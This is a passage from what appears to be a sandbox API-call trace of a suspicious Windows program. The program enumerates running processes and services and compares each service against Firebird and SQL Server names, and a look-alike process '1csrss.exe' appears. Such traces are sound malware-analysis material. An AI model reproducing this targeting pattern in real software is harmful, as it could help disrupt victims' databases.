lstrlenW (lpString="SystemEventsBroker") returned 18 [0291.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0291.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0291.626] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0291.626] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0291.626] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x466fff8 | out: hHeap=0x6e0000) returned 1 [0291.626] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4f0 [0291.629] Process32FirstW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.630] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0291.631] lstrlenW (lpString="System") returned 6 [0291.631] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0291.631] lstrlenW (lpString="smss.exe") returned 8 [0291.631] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0291.632] lstrlenW (lpString="csrss.exe") returned 9 [0291.632] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0291.633] lstrlenW (lpString="wininit.exe") returned 11 [0291.633] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0291.633] lstrlenW (lpString="csrss.exe") returned 9 [0291.633] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0291.634] lstrlenW (lpString="winlogon.exe") returned 12 [0291.634] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0291.635] lstrlenW (lpString="services.exe") returned 12 [0291.635] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0291.635] lstrlenW (lpString="lsass.exe") returned 9 [0291.635] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0291.636] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0291.636] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0291.637] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0291.637] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.638] lstrlenW (lpString="svchost.exe") returned 11 [0291.638] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.638] lstrlenW (lpString="svchost.exe") returned 11 [0291.638] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0291.639] lstrlenW (lpString="dwm.exe") returned 7 [0291.639] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.640] lstrlenW (lpString="svchost.exe") returned 11 [0291.640] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.640] lstrlenW (lpString="svchost.exe") returned 11 [0291.640] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.641] lstrlenW (lpString="svchost.exe") returned 11 [0291.641] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.643] lstrlenW (lpString="svchost.exe") returned 11 [0291.643] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.643] lstrlenW (lpString="svchost.exe") returned 11 [0291.643] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.644] lstrlenW (lpString="svchost.exe") returned 11 [0291.644] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.645] lstrlenW (lpString="svchost.exe") returned 11 [0291.645] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.646] lstrlenW (lpString="svchost.exe") returned 11 [0291.646] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.646] lstrlenW (lpString="svchost.exe") returned 11 [0291.646] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.647] lstrlenW (lpString="svchost.exe") returned 11 [0291.647] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0291.648] lstrlenW (lpString="spoolsv.exe") returned 11 [0291.648] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0291.648] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0291.648] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0291.649] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0291.649] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0291.650] lstrlenW (lpString="Memory Compression") returned 18 [0291.650] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.650] lstrlenW (lpString="svchost.exe") returned 11 [0291.650] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0291.651] lstrlenW (lpString="audiodg.exe") returned 11 [0291.651] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0291.652] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0291.652] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0291.653] lstrlenW (lpString="sihost.exe") returned 10 [0291.653] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.654] lstrlenW (lpString="svchost.exe") returned 11 [0291.654] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0291.655] lstrlenW (lpString="taskhostw.exe") returned 13 [0291.655] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0291.656] lstrlenW (lpString="msoia.exe") returned 9 [0291.656] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0291.657] lstrlenW (lpString="explorer.exe") returned 12 [0291.657] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0291.658] lstrlenW (lpString="SearchUI.exe") returned 12 [0291.658] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0291.658] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0291.659] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0291.659] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0291.659] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0291.660] lstrlenW (lpString="1csrss.exe") returned 10 [0291.660] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.668] lstrlenW (lpString="svchost.exe") returned 11 [0291.668] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0291.669] CloseHandle (hObject=0x4f0) returned 1 [0291.669] Sleep (dwMilliseconds=0x1f4) [0292.182] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddea8 [0292.182] EnumServicesStatusExW (in: hSCManager=0x7ddea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0292.183] GetLastError () returned 0xea [0292.183] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x4567fb0 [0292.183] EnumServicesStatusExW (in: hSCManager=0x7ddea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4567fb0, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4567fb0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0292.184] CloseServiceHandle (hSCObject=0x7ddea8) returned 1 [0292.184] lstrlenW (lpString="AppXSvc") returned 7 [0292.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0292.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0292.184] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0292.184] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0292.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0292.184] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0292.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0292.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0292.184] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0292.184] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0292.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0292.184] lstrlenW (lpString="Audiosrv") returned 8 [0292.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0292.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0292.184] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0292.184] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0292.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0292.184] lstrlenW (lpString="BFE") returned 3 [0292.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0292.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0292.184] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0292.185] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0292.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0292.185] lstrlenW (lpString="BITS") returned 4 [0292.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0292.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0292.185] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0292.185] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0292.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0292.185] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0292.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0292.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0292.185] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0292.185] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0292.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0292.185] lstrlenW (lpString="CDPSvc") returned 6 [0292.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0292.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0292.185] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0292.185] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0292.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0292.185] lstrlenW (lpString="ClickToRunSvc") returned 13 [0292.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0292.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0292.185] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0292.185] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0292.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0292.185] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0292.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0292.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0292.185] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0292.185] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0292.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0292.185] lstrlenW (lpString="CryptSvc") returned 8 [0292.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0292.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0292.186] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0292.186] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0292.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0292.186] lstrlenW (lpString="DcomLaunch") returned 10 [0292.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0292.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0292.186] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0292.186] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0292.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0292.186] lstrlenW (lpString="DeviceAssociationService") returned 24 [0292.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0292.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0292.186] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0292.186] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0292.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0292.186] lstrlenW (lpString="Dhcp") returned 4 [0292.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0292.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0292.186] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0292.186] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0292.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0292.186] lstrlenW (lpString="Dnscache") returned 8 [0292.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0292.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0292.186] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0292.186] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0292.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0292.186] lstrlenW (lpString="DoSvc") returned 5 [0292.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0292.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0292.186] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0292.186] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0292.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0292.187] lstrlenW (lpString="DPS") returned 3 [0292.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0292.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0292.187] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0292.187] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0292.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0292.187] lstrlenW (lpString="DusmSvc") returned 7 [0292.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0292.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0292.187] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0292.187] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0292.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0292.187] lstrlenW (lpString="EventLog") returned 8 [0292.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0292.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0292.187] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0292.187] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0292.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0292.187] lstrlenW (lpString="EventSystem") returned 11 [0292.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0292.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0292.187] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0292.187] lstrcmpiW 